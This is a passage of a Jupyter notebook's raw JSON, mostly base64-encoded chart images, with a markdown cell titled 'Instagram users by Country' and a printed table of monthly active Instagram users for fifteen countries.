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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram users by Country \n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram users by country :\n", + "_________________________________________________________________________________________________________________________\n", + " Country Monthly_active_users_millions\n", + "0 US 140\n", + "1 India 120\n", + "2 Brazil 95\n", + "3 Indonesia 78\n", + "4 Russia 54\n", + "5 Turkey 44\n", + "6 Japan 37\n", + "7 Mexico 31\n", + "8 UK 28\n", + "9 Germany 25\n", + "10 Italy 24\n", + "11 France 22\n", + "12 Argentina 20\n", + "13 Spain 20\n", + "14 South Korea 16\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAA6QAAAG5CAYAAACZaPmxAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAA3vklEQVR4nO3deZgdZZ33//dHIgYFUQQZUCCgKIMsgTQoisrigoqCirKpoI5xG51xHnVwdAT10dGfzuMCohMQEUUYYUQRHUFZRJStG0IC4soiKMo2yCpC+P7+ONXDselOOkmfVJ/T79d19dV17rqr6lun0kl/ct9VJ1WFJEmSJEmr2sPaLkCSJEmSNDMZSCVJkiRJrTCQSpIkSZJaYSCVJEmSJLXCQCpJkiRJaoWBVJIkSZLUCgOpJElaLknOSfJ3bdchSep/BlJJ0rSV5Jokz1vJfRyc5Lypqkn9LcmcJJVkVtu1SJIMpJIkrZRBCDaDcA5TyfdDklYdA6kkqS+MjnQm+VSS/0lydZIXjVl/VZI7mnUHJvlb4IvATknuTHJb0/clSS5NcnuS65IcNuZYr0tybZJbkvxr90htksOSnJzka0luBw5OsmOS85PcluSGJEckWb1rf5XkbUl+1dT3kSRPara5Pck3uvuPqeWwJF/rev1XI3zjnXdX3zckubJ5v05PssmYmt6e5FfAr9Lx6SQ3JvlTkkVJtlrKJXlSkouavt9Osk6z3+8meceYc1iUZO8Jzm/nJD9t3rvrkhzctK+d5LgkNzXX4gNJHjbJ9+Sc5j3+SfO+nJFk3ab7uc3325o/Ezs17+FPmvO/FfhIkluTbN11jMcnuSfJekt5TyRJy8lAKknqJ08HfgGsC/x/wJeaIPUo4HPAi6pqLeCZwMKquhJ4C3B+Va1ZVY9p9nMX8DrgMcBLgLeOBqYkWwJHAgcCGwBrA08YU8dewMnN9scDS4B3NXXtBOwOvG3MNnsA84BnAO8FFjTH2AjYCth/ed+Mic67Wbc38C/AK4D1gB8DJ4zZxd503tMtgRcAzwGe0pzXvsAtSzn864A3ABsC9zd1AHwFeE1XjdvSef++N079GwP/DRze1Dh3tP6mbW1gM+C5zfFev5R6xjqg6f94YHXg3U37c5rvj2n+TJzfvH46cFXT/8PAid3nQef6/LCqblqOGiRJy2AglST1k2ur6qiqWkIn+GwArN+sewDYKskaVXVDVV0x0U6q6pyqWlxVD1TVIjpB7bnN6n2A71TVeVX1F+CDQI3ZxflV9a1m+3uqaqSqLqiq+6vqGuA/uvY36hNVdXtT1+XAGVV1VVX9iU4o224F35OJzvvNwL9V1ZVVdT/wMWBu9yhps/7WqroHuA9YC9gCSLPdDUs57ler6vKqugv4V+DVSVYDvg1snmTzpt9rgf9s3suxDqQT8k6oqvuq6paqWtjsZ1/gfVV1R/Oe/nuzr8n6clX9sjm3b9AJu0vz+6o6vLmG99D583XA6Khsc+yvLsfxJUmTYCCVJPWTP4wuVNXdzeKaTSjal85o6A3NtNEtJtpJkqcnObuZDvqnZrvRKZ0bAteNOc7YkcLrul8keUqS05L8oZnG+7Gu/Y36Y9fyPeO8XnOieieyjPPeBPhsMxX2NuBWIPz1aG/3eZ4FHAF8HvhjkgVJHr2Uw3e/B9cCDwfWrap76QTA1zRhbn8mDnIbAb8Zp31dOqOa1445xtiR6qX5Q9fy3Sz7/f2ra1pVF9IZSX9u854+GTh1OY4vSZoEA6kkaSBU1elV9Xw6o6Y/B44aXTVO96/TCRcbVdXadO4zTbPuBuCJox2TrAE8buzhxrz+